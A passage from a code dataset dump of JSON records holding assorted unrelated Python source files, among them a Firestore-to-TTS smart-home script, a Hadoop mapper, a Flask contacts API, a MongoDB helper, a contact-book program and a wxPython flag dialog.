['UITableViewDelegate']\n\tdelegate = create_objc_class('CustomTableViewDelegate', methods=methods, protocols=protocols)\n\treturn delegate.alloc().init()\n\t\n#\n# UITableView\n#\n\ntable_view = ui.TableView(name='Custom Action', frame=(0, 0, 300, 480))\ntable_view.data_source = ui.ListDataSource(['Hallo', 'Hi', 'Ciao'])\n\ntable_view_objc = ObjCInstance(table_view)\ntable_view_objc.setDelegate(make_table_view_delegate())\n\ntable_view.present('sheet')\n\n","sub_path":"_2017/using-uitableviewrowaction.py","file_name":"using-uitableviewrowaction.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"197123592","text":"#--gcloud tts\nfrom google.cloud import texttospeech\n\n#--mediaplayer\nimport os\n\n#--firebase import\nfrom datetime import datetime\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nimport record_data\n\ndb = firestore.client()\n\n#gcloud tts\nclient = texttospeech.TextToSpeechClient()\n\n\n\nclass read_data:\n def __init__(self):\n self.temp = 0\n self.humi = 0\n self.wave = 0\n self.decibel = 0\n self.pir = 0\n self.people= ''\n self.date = ''\n self.result = ''\n self.txt = \"\" #for tts\n self.txt_pir_add = \"\" #pir txt\n self.txt_temp_add = \"\" #temp text\n self.txt_humi_add = \"\" #humi text\n self.txt_people_add = \"\" #people text\n self.txt_decibel_add =\"\" #decibel text\n \n \n def get_data(self):\n print(self.people)\n #-- get latest document ID\n user_ref = db.collection(u'hanium_db')\n docs = user_ref.stream()\n *_, last = docs\n self.date = last.id\n\n #-- get values from document\n doc_ref = db.collection('hanium_db').document(f'{self.date}')\n #get data from firestore\n doc = doc_ref.get().to_dict()\n \n print(f'DATE: {self.date}')\n print(f'from databas: {doc}')\n \n # dict to string \n self.result = doc.get('result')\n self.people = doc.get('PEOPLE')\n\n def txt_people(self):\n result_people = self.people\n hour = self.date[11:13]\n minute = self.date[14:16]\n print(result_people)\n if result_people == \"0\":\n self.txt_people_add = \"지금은 사람이 없습니다. 소등 및 각종 디바이스들을 종료합니다. \"\n else:\n self.txt_people_add = \"현재 시간 {}시 {}분,\".format(hour,minute)\n \n\n# def txt_pir(self):\n# result_pir = self.result[:1]\n \n def txt_decibel(self):\n result_decibel = self.result[1:2]\n if result_decibel == \"0\":\n self.txt_decibel_add = \"지금은 소음이 없습니다.\"\n else:\n self.txt_decibel_add = \"소음이 발생하고 있습니다. 필요에 따라 ��문을 닫아주세요.\"\n \n def txt_temp(self):\n result_temp = self.result[2:3]\n \n if result_temp == \"2\":\n self.txt_temp_add = \"온도가 높습니다. 에어컨을 작동 시킬게요. 야외활동을 되도록이면 자제해주시길 바랍니다.\"\n elif result_temp == \"1\":\n self.txt_temp_add = \"적정 온도입니다.\"\n else:\n self.txt_temp_add = \"온도가 낮습니다. 난방기를 작동합니다. 나가실 때 적절한 겉옷 챙겨주시길 바랍니다.\"\n \n def txt_humi(self):\n result_humi = self.result[3:]\n \n if result_humi== \"2\":\n self.txt_humi_add = \"습도가 높습니다. 제습기를 실행시킬게요.\"\n elif result_humi == \"1\":\n self.txt_humi_add = \"적정 습도입니다.\"\n else:\n self.txt_humi_add = \"습도가 낮습니다. 가습기를 실행시킬게요.\"\n \n def add_txt(self):\n \n if self.people == \"0\":\n self.txt = self.txt_people_add\n else:\n self.txt = self.txt_people_add + self.txt_decibel_add + self.txt_temp_add + self.txt_humi_add\n print(self.txt)\n \n def make_tts(self):\n print(\"make_tts start\")\n synthesis_input = texttospeech.SynthesisInput(text=self.txt)\n print(self.txt)\n voice = texttospeech.VoiceSelectionParams(\n language_code=\"ko-KR\", ssml_gender=texttospeech.SsmlVoiceGender.NEUTRAL)\n \n #audio \n audio_config = texttospeech.AudioConfig(\n audio_encoding=texttospeech.AudioEncoding.MP3)\n\n #all together\n response = client.synthesize_speech(\n input=synthesis_input, voice=voice, audio_config=audio_config)\n\n\n with open('output.mp3', 'wb') as out:\n out.write(response.audio_content)\n print('Audio content written to file \"output.mp3\"')\n \n #speaker\n #os.system('omxplayer -o local output.mp3 \"{}\" /&'.format(address))\n print(\"gcloud end\")\n\n \n def tts_data(self):\n print('read_data start')\n self.get_data()\n self.txt_people()\n self.txt_decibel()\n self.txt_temp()\n self.txt_humi()\n self.add_txt()\n #self.make_tts()\n\nif __name__ == '__main__':\n x= read_data()\n x.tts_data()\n","sub_path":"read_to_gcloud.py","file_name":"read_to_gcloud.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"98091597","text":"#!/usr/bin/env python3\n\"\"\"Map stage 2.\"\"\"\n\nimport sys\n\n# INPUT:\n# doc_id[TAB]term[TAB]term_frequency[NEW_LINE]\n\nfor line in sys.stdin:\n split_line = line.strip().split('\\t')\n key = split_line[0]\n split_values = split_line[1].split(' ')\n # print(split_line)\n # print(split_line)\n doc = key\n word = split_values[0]\n freq = split_values[1]\n print(word + '\\t' + doc + ' ' + freq)\n\n# OUTPUT:\n# term[TAB]doc_id[TAB]term_frequency[NEW_LINE]\n","sub_path":"index/hadoop/exec/inverted_index/map2.py","file_name":"map2.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"292411210","text":"import pygame, diep_sprite\nfrom constants import *\n\nclass Sparkle(diep_sprite.DiepSprite):\n def __init__(self, screen, x, y, color):\n super().__init__(screen, x, y, color, 0, 0,\n sprite_type=TYPE_ANIMATION,\n draw_healthbar=False)\n #Use hp as timeout\n self.hit_points = 15\n\n #Override super class's update function\n def update(self):\n #Use hp as timeout\n self.hit_points -= 1\n\n def draw(self, povx, povy, center_on_screen=False):\n #Get coordinate adjustments\n x_adjust = self.screen.get_width()/2 - povx\n y_adjust = self.screen.get_height()/2 - povy\n x = self.x + x_adjust\n y = self.y + y_adjust\n #If this sprite is not on screen, don't draw it\n if self.isOffScreen(x, y):\n return\n length = 5\n pygame.draw.line(self.screen, self.color,\n (x-length,y-length), (x+length,y+length), 1) #1 is width\n pygame.draw.line(self.screen, self.color,\n (x-length,y+length), (x+length,y-length), 1) #1 is width","sub_path":"CS2/9900_diepio/PygameDiepio/sparkle.py","file_name":"sparkle.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"253990566","text":"#!/usr/bin/env python \n'''Add associate feature info to glif lib based on a csv file\n csv format glyphname,featurename[,featurevalue]'''\n__url__ = 'http://github.com/silnrsi/pysilfont'\n__copyright__ = 'Copyright (c) 2015, SIL International (http://www.sil.org)'\n__license__ = 'Released under the MIT License (http://opensource.org/licenses/MIT)'\n__author__ = 'David Raymond'\n__version__ = '0.0.1'\n\nfrom silfont.UFOlib import *\n\nsuffix = \"_AssocFeat\"\nargspec = [\n ('ifont',{'help': 'Input font file'}, {'type': 'infont'}),\n ('ofont',{'help': 'Output font file','nargs': '?' }, {'type': 'outfont', 'def': suffix}),\n ('-i','--input',{'help': 'Input csv file'}, {'type': 'infile', 'def': suffix+'.csv'}), \n ('-l','--log',{'help': 'Log file'}, {'type': 'outfile', 'def': suffix+'.log'}),\n ('-v','--version',{'help': 'UFO version to output'},{}),\n ('-p','--params',{'help': 'Font output parameters','action': 'append'}, {'type': 'optiondict'})]\n\ndef doit(args) :\n font = args.ifont\n csv = args.input\n glyphlist = font.deflayer.keys() # Identify which glifs have not got an AssocFeat set\n \n for l in csv.readlines() :\n l = l.strip()\n if l == \"\" or l[0] == \"#\" : continue # Skip blank lines and comments\n line = l.split(\",\")\n if len(line) < 2 or len(line) > 3 : font.logger.log(\"Invalid line in csv: \" + l,\"E\") ; continue\n glyphn = line[0]\n feature = line[1]\n value = line[2] if len(line) == 3 else \"\"\n \n if glyphn in glyphlist :\n glyph = font.deflayer[glyphn]\n if glyph[\"lib\"] is None : glyph.add(\"lib\")\n glyph[\"lib\"].setval(\"org.sil.assocFeature\",\"string\",feature)\n if value is not \"\" :\n glyph[\"lib\"].setval(\"org.sil.assocFeatureValue\",\"integer\",value)\n else :\n if \"org.sil.assocFeatureValue\" in glyph[\"lib\"] : glyph[\"lib\"].remove(\"org.sil.assocFeatureValue\")\n glyphlist.remove(glyphn)\n else :\n font.logger.log(\"No glyph in font for \" + glyphn,\"E\")\n\n for glyphn in glyphlist : # Remove any values from remaining glyphs\n glyph = font.deflayer[glyphn]\n if glyph[\"lib\"] :\n if \"org.sil.assocFeatureValue\" in glyph[\"lib\"] : glyph[\"lib\"].remove(\"org.sil.assocFeatureValue\")\n if \"org.sil.assocFeature\" in glyph[\"lib\"] :\n glyph[\"lib\"].remove(\"org.sil.assocFeature\")\n font.logger.log(\"Feature info removed for \" + glyphn,\"I\")\n \n return font\n \nexecute(\"PSFU\",doit, argspec)","sub_path":"scripts/UFOsetAssocFeat.py","file_name":"UFOsetAssocFeat.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"172256286","text":"from collections import defaultdict\nimport re\n\n\ndef parse_file():\n bots = defaultdict(list)\n instructions = []\n\n with open(\"input.txt\") as f:\n for line in f.readlines():\n found = re.search(r'value ([\\d ]+) goes to ([\\w ]+)', line)\n if found:\n value = int(found.group(1))\n bot_id = found.group(2)\n bots[bot_id].append(value)\n else:\n instructions.append(line)\n return bots, instructions\n\n\ndef proceed(bots, instructions):\n bot = None\n\n while not all(x is None for x in instructions):\n for i, instruction in enumerate(instructions):\n if instruction is None:\n continue\n found = re.search(r'([\\w ]+) gives low to ([\\w ]+) and high to ([\\w ]+)', instruction)\n if found:\n giver = found.group(1)\n receive_low = found.group(2)\n receive_high = found.group(3)\n\n if 61 in bots[giver] and 17 in bots[giver]:\n bot = giver\n\n if len(bots[giver]) < 2:\n continue\n\n bots[giver].sort()\n\n bots[receive_high].append(bots[giver].pop())\n bots[receive_low].append(bots[giver].pop(0))\n instructions[i] = None\n return bot\n\n\nif __name__ == \"__main__\":\n bots, instructions = parse_file()\n bot = proceed(bots, instructions)\n\n print(\"Puzzle 1: {}\".format(bot))\n\n value = bots['output 0'][0] * bots['output 1'][0] * bots['output 2'][0]\n print(\"Puzzle 2: {}\".format(value))\n","sub_path":"AOC-2016/Day-10/day-10.py","file_name":"day-10.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"240698486","text":"import nltk.util\nfrom re import sub\nfrom lib import FeatureExtractor as FE\nfrom lib import aux\nimport pickle\n\n\nclass PrepareData:\n\n def __init__ (self):\n # self.svm = svm.svm()\n self.data = []\n self.feat_space = []\n self.training_data = []\n self.test_data = []\n self.FE = FE.FeatureExtractor(retrain=False)\n\n def all_features(self, n=3, ignore_unknown = True, filter=[0,1,2,3], grams=\"token\"):\n \"\"\" \n @input n : number of grams (1 - unigram, 2 - bigram, 3 -trigram, etc)\n @input ignore_unknown : ignore the 'unknown' labelled data\n @input ngrams : type of n-grams, options 'char', 'token' or 'linguistic'.\n tokens are word-like sequences\n chars are just that\n linguistic uses linguistic extraction features (see FeatureExtractor module)\n\"\"\"\n if not self.data:\n raise Exception(\"No data loaded, aborting...\")\n\n if not (grams == 'char' or grams == 'token' or grams == 'linguistic'):\n raise Exception(\"Unsupported value for parameter 'grams': %s\" % grams)\n\n\n ngrams = []\n feature_vectors = []\n for d in self.data[1:]:\n doc_label = int(d[1])\n if not doc_label == 0 or ignore_unknown == False: ## labelled as 'unknown'\n if doc_label == 0:\n doc_label = 9 #change unknown class to 9... because then the resulting matrices will be correct\n doc_id = d[0]\n doc_title = d[2]\n doc_abstract = d[3]\n doc_abstract_title = doc_abstract + \" \" + doc_title\n doc_abstract_title = sub(r'\\.([A-Z])', r'. \\1', doc_abstract_title) # fixes some (if not all) cases with having no space between sentences.\n doc_grams = self.FE.feature_extractor(doc_abstract_title, n, filter, 2, grams)\n\n feature_vectors.append([doc_id, doc_label, doc_grams, []])\n ngrams += doc_grams\n unique_ngrams = aux.unique_items(ngrams) # remove duplicates across all documents\n\n self.dict_ngrams_gramnum = dict(zip(unique_ngrams, range(1,len(unique_ngrams)+1)))\n self.dict_gramnum_ngrams = dict(zip(range(1,len(unique_ngrams)+1),unique_ngrams))\n\n for feature_vector in feature_vectors:\n # create vectors of: (doc_id, doc_label, [(, ), ...])\n feats = []\n for gram in feature_vector[2]:\n gramcount = feature_vector[2].count(gram)\n gramnum = self.dict_ngrams_gramnum[gram]\n featnum_feat_set = (gramnum, gramcount)\n if featnum_feat_set not in feats:\n feats.append(featnum_feat_set)\n\n feature_vector[3] = (feature_vector[1], feats)\n\n self.feature_vectors = feature_vectors\n for feat in self.feature_vectors:\n self.feat_space.append((feat[0], feat[-1])) #(id, [feature-tuples])\n\n return feature_vectors #dict_ngrams_gramnum, dict_gramnum_ngrams, feature_vectors #unique_ngrams, feature_vectors\n\n # def prep_featurespace(self):\n\n\n def load_csv_file(self, filename, path=\"./preliminary_experiments/\"):\n fd = open(path+filename, 'r')\n file_lines = fd.readlines()\n fd.close()\n\n for line in file_lines:\n split_line = line.split('|')\n self.data.append(split_line)\n\n\n return\n\n def experiment_prepare(self, filename, save_file, input_path=\"./preliminary_experiments/\", output_path=\"./experiments/\", ignore_unknown=True, ngrams=3, grams=\"token\", filter=[0,1,2,3]):\n self.load_csv_file(filename, input_path)\n self.all_features(ngrams, ignore_unknown, filter=filter, grams=grams)\n\n # self.prep_featurespace()\n\n outputlines = \"\"\n for item in self.feat_space:\n outputlines += \"%s,\" % item[0]\n outputlines += str(item[1][0])\n for feat_pair in item[1][1]:\n outputlines += \" %s:%s\" %(str(feat_pair[0]), str(feat_pair[1]))\n outputlines += \"\\n\"\n\n fd = open(output_path+save_file, 'w')\n fd.write(outputlines)\n fd.close()\n\n fd1 = open(output_path+save_file+'_dictof_ngrams_gramnum', 'w')\n pickle.dump(self.dict_ngrams_gramnum, fd1)\n fd1.close()\n\n fd2 = open(output_path+save_file+'_dictof_gramnum_ngrams', 'w')\n pickle.dump(self.dict_gramnum_ngrams, fd2)\n fd2.close()\n","sub_path":"source/PrepareData.py","file_name":"PrepareData.py","file_ext":"py","file_size_in_byte":4468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"136809774","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nThis is a bare bone code for linear interpolation\nwritten by Dr. Md. Enamul Hoque, Department of Physics, SUST.\n(c) mjonyh@gmail.com 2019\n\nFormulae:\n f(x) = fi + (fi+1 - fi) * (x - xi) / (xi+1 - xi)\n'''\n\n# 1. import necessary package, library or module here\nimport matplotlib.pyplot as plt\n\ndef linearinterpolation(xGiven, yGiven, xline, yline):\n stop = xGiven[-1]\n x = xGiven[0]\n\n fi = yGiven[0]\n fl = yGiven[1]\n xi = xGiven[0]\n xl = xGiven[1]\n\n while (x <= stop):\n f = fi + (fl - fi) * (x - xi) / (xl - xi)\n xline.append(x)\n yline.append(f)\n x = x + 0.001\n\n return xline, yline\n\n# 2. define data set (list of x and y) and iteration number\nxGiven = [2, 4, 5, 8, 9, 10]\nyGiven = [3, 5, 3, 8, 7, 10]\nxline = []\nyline = []\n\n# 3. user defined function call\n\nfor i in range(len(xGiven)-1):\n xlist = [xGiven[i], xGiven[i+1]]\n ylist = [yGiven[i], yGiven[i+1]]\n xline, yline = linearinterpolation(xlist, ylist, xline, yline)\n\n# print(xline, yline)\n\n# 4. plot data point in red and linear fit in green\nplt.plot(xGiven, yGiven, 'ro', label='Given data point')\nplt.plot(xline, yline, 'g--', label='Linear fit')\n\nplt.xlabel(\"x-axis\")\nplt.ylabel(\"y-axis\")\nplt.legend()\n\nplt.show()\n","sub_path":"Slide Codes/5. linear_interpolation_barebone_complete.py","file_name":"5. linear_interpolation_barebone_complete.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"468207191","text":"from flask import Flask, request, abort, jsonify\nfrom sqlalchemy import and_, or_\nfrom sqlalchemy.orm import aliased\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom server_root.models.users.models import User, aliases\nfrom server_root import app, db, regional_db\nfrom server_root.utilities import file_utilities\nfrom server_root.models.users.models import check_cur_user_token\nfrom server_root.config import S3_PROFILE_PIC_FOLDER\n\n@app.route('/api/v1/contacts', methods=['GET'])\ndef contacts():\n cur_user_id = request.args.get('cur_user_id', None)\n if cur_user_id:\n cur_user_id = str(cur_user_id)\n else:\n abort(404)\n try:\n cur_user = regional_db.session.query(User).filter(and_(User.id==cur_user_id, User.is_deleted==False)).one()\n except NoResultFound:\n abort(404)\n\n auth_token = request.args.get('auth_token', None)\n if not auth_token:\n abort(404)\n\n check_cur_user_token(cur_user_id=cur_user.id, cur_user_token=auth_token)\n cur_user.update_located_region()\n cur_user.update_last_time_use_app()\n\n contact_object_list = cur_user.contact_list()\n\n contact_list = []\n\n for contact in contact_object_list:\n contact_dict = dict(\n contact_id = contact.contact_id,\n contact_phone_number_hash = contact.contact_phone_number_hash,\n session_id = cur_user.get_session_id_with_contact(contact.contact_id),\n )\n last_time_interacted_with_user_object = cur_user.get_last_time_interacted_with_contact(contact_id=contact.contact_id)\n if last_time_interacted_with_user_object:\n contact_dict[\"last_time_interacted_with_user\"] = last_time_interacted_with_user_object.strftime('%a, %d %b %Y %H:%M:%S -0000')\n contact_list.append(contact_dict)\n\n result = {}\n result['objects'] = contact_list\n return jsonify(result)\n\n\n\n","sub_path":"server_root/apis/v1/contacts/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"540276656","text":"class Contact:\r\n def __init__(self,p_name,p_no,email_add):\r\n self.p_name=p_name\r\n self.p_no=p_no\r\n self.email_add=email_add\r\n def get_name(self):\r\n return input('Enter The Name of The Person')\r\n def set_name(self):\r\n self.p_name=self.get_name()\r\n return self.p_name\r\n def get_phone(self):\r\n return input('Enter The Contact Number')\r\n def set_phone(self):\r\n self.p_no=self.get_phone()\r\n return self.p_no\r\n def get_email(self):\r\n return input('Enter The E-mail Id of The Person')\r\n def set_email(self):\r\n self.email_add=self.get_email()\r\n return self.email_add\r\n def insert_record(self):\r\n contact[self.set_name()]={'phone':self.set_phone(),'email':self.set_email()}\r\n print(contact)\r\n print(self.__str__())\r\n p=input('Do You Want To Store this Record.\\nPress 1 To Yes\\nPress 2 To No')\r\n if p=='1':\r\n with open('contact-dict.txt','a') as f:\r\n for c, v in contact.items():\r\n f.write('name : '+c + ' ')\r\n f.write(\"\".join([\" {}: {}\".format(v, d) for v, d in v.items()]) + ' ')\r\n f.write('\\n')\r\n c=input('Do You Want TO View The Records.\\nPress 1 To Yes.\\nPress 0 To Exit.\\n')\r\n if c=='1':\r\n self.display()\r\n elif c=='0':\r\n return\r\n \r\n def display(self):\r\n r=open('contact-dict.txt','r')\r\n p=r.readline()\r\n while p!='':\r\n print(p)\r\n p=r.readline()\r\n def detail(self):\r\n per_name=input('Enter the name of the Person')\r\n r=open('contact-dict.txt','r')\r\n p=r.readline()\r\n while p!='':\r\n if per_name in p:\r\n print(p)\r\n break\r\n else:\r\n p=r.readline()\r\n def delete(self):\r\n per_name=input('Enter the name of the Person whose details you want to delete.')\r\n with open(\"contact-dict.txt\", \"r\") as f:\r\n lines = f.readlines()\r\n print(lines)\r\n with open(\"contact-dict.txt\", \"w\") as f:\r\n for line in lines:\r\n if per_name not in line.strip(\"\\n\") :\r\n f.write(line)\r\n \r\n def update(self):\r\n per_name=input('Enter the name of the Person whose details you want to update.')\r\n with open(\"contact-dict.txt\", \"r\") as f:\r\n lines = f.readlines()\r\n \r\n with open(\"contact-dict.txt\", \"w\") as f:\r\n for line in lines:\r\n if per_name not in line.strip(\"\\n\") :\r\n f.write(line)\r\n self.insert_record()\r\n \r\n \r\n \r\n \r\n def __str__(self):\r\n return f'Person name : {self.p_name}\\nPhone : {self.p_no}\\nE-mail id : {self.email_add}\\n'\r\ndef main():\r\n a=Contact('yashasvi','87090979798','yashasvimahajan276@gmail.com')\r\n \r\n while True:\r\n ch=input('Press 1 to Enter New Record.\\nPress 2 to Update Record.\\nEnter 3 to View Record.\\nPress 4 to get Detail of the person.\\nPress 5 to delete Person Detail\\nPress 0 to Exit.\\n')\r\n if ch=='1':\r\n a.insert_record()\r\n elif ch=='2':\r\n a.update()\r\n elif ch=='3':\r\n a.display()\r\n elif ch=='4':\r\n a.detail()\r\n elif ch=='5':\r\n a.delete()\r\n \r\n \r\n elif ch=='0':\r\n break\r\ncontact={}\r\nmain()\r\n","sub_path":"Python_Assignment/mod7/lookupClass.py","file_name":"lookupClass.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"195019736","text":"from pymongo import MongoClient\r\nimport json\r\nimport io\r\nimport pprint\r\n\r\nclass DB:\r\n\r\n#Construtor instancia a classe com Strings que referenciam a URI e o Banco de Dados\r\n def __init__(self, uri, db):\r\n self.__uri = uri\r\n self.__db = db\r\n\r\n#Tenta conectar com o Banco de Dados, retorna 'True' se conseguiu e 'False' se não\r\n def __connection(self):\r\n try:\r\n client = MongoClient(self.__uri)\r\n self.__collections = client[self.__db]\r\n except:\r\n raise Exception('Impossivel conectar com o Banco de Dados')\r\n return False\r\n \r\n return True\r\n\r\n#Retorna uma lista com os nomes das Collections no Banco de Dados, retorna 'None' se falhar \r\n def lista(self):\r\n if(not self.__connection()): return False\r\n \r\n try:\r\n select = self.__collections.collection_names()\r\n return select\r\n except:\r\n raise Exception(\"Impossivel obter os nomes das collections\")\r\n return None\r\n\r\n#Insere um JSON em uma Collection do Banco de Dados, retorna 'True' se conseguiu e 'False' se não\r\n def insere(self, collection, data):\r\n #collection = [String] : Nome da collection no MongoDB\r\n #data = [File, String, List, Disct] : Dados no formato JSON para inserir no MongoDB\r\n\r\n if(not self.__connection()): return False\r\n\r\n if(isinstance(data, type({}))): datas = [data]\r\n\r\n if(isinstance(data, type([]))): datas = data\r\n\r\n elif(isinstance(data, type(''))): datas = json.loads(data)\r\n\r\n elif(isinstance(data, io.IOBase)): datas = json.load(data)\r\n\r\n else:\r\n raise Exception(\"Tipo do parametro 'data' deve ser String, Lista, Dicionario ou Ponteiro de Arquivo\")\r\n return False\r\n \r\n try:\r\n self.__collections[collection].insert_many(datas)\r\n return True\r\n except:\r\n raise Exception(\"Impossivel inserir no Banco de Dados\")\r\n return False","sub_path":"Coletor/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"639896005","text":"from unittest import TestCase\nfrom scattertext.termcompaction.AssociationCompactor import AssociationCompactor\nfrom scattertext.test.test_TermDocMat import get_hamlet_term_doc_matrix\n\n\nclass TestClassPercentageCompactor(TestCase):\n def test_compact(self):\n term_doc_mat = get_hamlet_term_doc_matrix()\n new_tdm = AssociationCompactor(max_terms=213).compact(term_doc_mat)\n self.assertEqual(len(term_doc_mat.get_terms()), 26875)\n self.assertEqual(len(new_tdm.get_terms()), 213)\n\n def test_get_term_ranks(self):\n term_doc_mat = get_hamlet_term_doc_matrix()\n ranks = AssociationCompactor(max_terms=213).get_term_ranks(term_doc_mat)\n self.assertEqual(len(ranks), term_doc_mat.get_num_terms())\n self.assertGreaterEqual(ranks.min().min(), 0)\n","sub_path":"scattertext/test/test_associationCompator.py","file_name":"test_associationCompator.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"452476113","text":"#!/usr/local/bin/env python\n######################################\n\n## SOLIPSIS Copyright (C) France Telecom\n\n## This file is part of SOLIPSIS.\n\n## SOLIPSIS is free software; you can redistribute it and/or modify\n## it under the terms of the GNU Lesser General Public License as published by\n## the Free Software Foundation; either version 2.1 of the License, or\n## (at your option) any later version.\n\n## SOLIPSIS is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n## GNU Lesser General Public License for more details.\n\n## You should have received a copy of the GNU Lesser General Public License\n## along with SOLIPSIS; if not, write to the Free Software\n## Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n## ------------------------------------------------------------------------------\n## ----- newFlagDialog.py -----\n## ------------------------------------------------------------------------------\n\n## ******************************************************************************\n##\n## This module is the dialog box used by the user for new flag creation or\n## modification.\n##\n## ******************************************************************************\n\nfrom wxPython.wx import *\nimport os\nimport commun\n\n# debug module\nimport debug\n\ndef create(parent):\n return newFlagDialog(parent)\n\n[wxID_NEWFLAGDIALOG, wxID_NEWFLAGDIALOGNAMESTATICTEXT,\n wxID_NEWFLAGDIALOGNAMETEXTCTRL, wxID_NEWFLAGDIALOGXPOSSTATICTEXT,\n wxID_NEWFLAGDIALOGXPOSTEXTCTRL, wxID_NEWFLAGDIALOGYPOSSTATICTEXT,\n wxID_NEWFLAGDIALOGYPOSTEXTCTRL,\n] = map(lambda _init_ctrls: wxNewId(), range(7))\n\nclass newFlagDialog(wxDialog):\n def _init_utils(self):\n # generated method, don't edit\n pass\n\n def _init_ctrls(self, prnt):\n\n # dialog box initialisation\n wxDialog.__init__(self, id=wxID_NEWFLAGDIALOG,\n name='newFlagDialog', parent=prnt, pos=wxPoint(0, 0),\n size=wxSize(300, 260), style=wxDEFAULT_DIALOG_STYLE,\n title='Flag')\n self._init_utils()\n self.SetClientSize(wxSize(300, 260))\n self.Center(wxBOTH)\n self.SetBackgroundColour(wxColour(164, 202, 235))\n\n # set the Solipsis icon in the dialog box\n iconSolipsis=wxIcon('Img//icon_solipsis.png', wxBITMAP_TYPE_PNG)\n bitmap=wxBitmap('Img//icon_solipsis.png',wxBITMAP_TYPE_PNG)\n iconSolipsis.CopyFromBitmap(bitmap)\n self.SetIcon(iconSolipsis)\n\n self.nameStaticText = wxStaticText(id=wxID_NEWFLAGDIALOGNAMESTATICTEXT,\n label='Name :', name='nameStaticText', parent=self,\n pos=wxPoint(10, 20), size=wxSize(74, 15), style=0)\n\n self.nameTextCtrl = wxTextCtrl(id=wxID_NEWFLAGDIALOGNAMETEXTCTRL,\n name='nameTextCtrl', parent=self, pos=wxPoint(10, 40),\n size=wxSize(150, 20), style=0, value='')\n\n self.xposStaticText = wxStaticText(id=wxID_NEWFLAGDIALOGXPOSSTATICTEXT,\n label='X coordinate :', name='xposStaticText', parent=self,\n pos=wxPoint(10, 80), size=wxSize(78, 15), style=0)\n\n self.xposTextCtrl = wxTextCtrl(id=wxID_NEWFLAGDIALOGXPOSTEXTCTRL,\n name='xposTextCtrl', parent=self, pos=wxPoint(10, 100),\n size=wxSize(280, 20), style=0, value='')\n\n self.yposStaticText = wxStaticText(id=wxID_NEWFLAGDIALOGYPOSSTATICTEXT,\n label='Y coordinate :', name='yposStaticText', parent=self,\n pos=wxPoint(10, 140), size=wxSize(78, 15), style=0)\n\n self.yposTextCtrl = wxTextCtrl(id=wxID_NEWFLAGDIALOGYPOSTEXTCTRL,\n name='ypostextCtrl', parent=self, pos=wxPoint(10, 160),\n size=wxSize(280, 20), style=0, value='')\n\n self.okButton = wxBitmapButton(bitmap=wxBitmap('Img//Buttons//bo_ok_n.png',\n wxBITMAP_TYPE_PNG), id=wxID_OK,\n name='okBitmapButton', parent=self, pos=wxPoint(32, 204),\n size=wxSize(-1, -1), style=0,\n validator=wxDefaultValidator)\n\n self.cancelButton = wxBitmapButton(bitmap=wxBitmap('Img//Buttons//bo_cancel_n.png',\n wxBITMAP_TYPE_PNG), id=wxID_CANCEL,\n name='cancelBitmapButton', parent=self, pos=wxPoint(190, 204),\n size=wxSize(-1, -1), style=0,\n validator=wxDefaultValidator)\n\n EVT_BUTTON(self.okButton, wxID_OK, self.OnOkButton)\n #EVT_BUTTON(self.cancelButton, wxID_CANCEL, self.OnCancelButton)\n\n def __init__(self, parent, navigator, flag_name):\n\n # navigator\n self.navigator = navigator\n\n # flag name (empty if new flag)\n self.flag_name = flag_name\n\n # init ctrls\n self._init_ctrls(parent)\n\n # init the position value in the dialog box\n self.initPositionValues()\n\n def initPositionValues(self):\n \"\"\" init the position values with the position of the connected node \"\"\"\n debug.debug_info(\"newFlagDialog.initPositionValues()\")\n debug.debug_info(\"FlagFile : \" + self.flag_name)\n\n # flag modification\n if self.flag_name:\n # open the flag file\n flagFile = commun.FLAG_DIR_NAME + os.sep + self.flag_name\n try:\n f = file(flagFile, 'r')\n except:\n commun.displayError(self, \"Can not open the file \" + flagFile)\n return 0\n\n # read file and close\n line = f.read()\n f.close()\n try:\n name, posX, posY = line.split(';')\n except:\n commun.displayError(self, 'The file %s has a bad format !' %self.flag_name)\n # close the dialog box\n self.Close(FALSE)\n return 0\n\n # set default parameters\n self.nameTextCtrl.SetValue(name)\n self.xposTextCtrl.SetValue(posX)\n self.yposTextCtrl.SetValue(posY)\n\n # new flag -> check if the navigator is connected to a node\n elif (self.navigator.getIsConnected() == 1):\n posX = self.navigator.getNodePosX()\n posY = self.navigator.getNodePosY()\n self.xposTextCtrl.SetValue(str(posX))\n self.yposTextCtrl.SetValue(str(posY))\n\n def OnOkButton(self, event):\n \"\"\" save the flag with the parameter filled by the user \"\"\"\n\n # get the parameters filled by the user\n name = self.nameTextCtrl.GetValue()\n posX = self.xposTextCtrl.GetValue()\n posY = 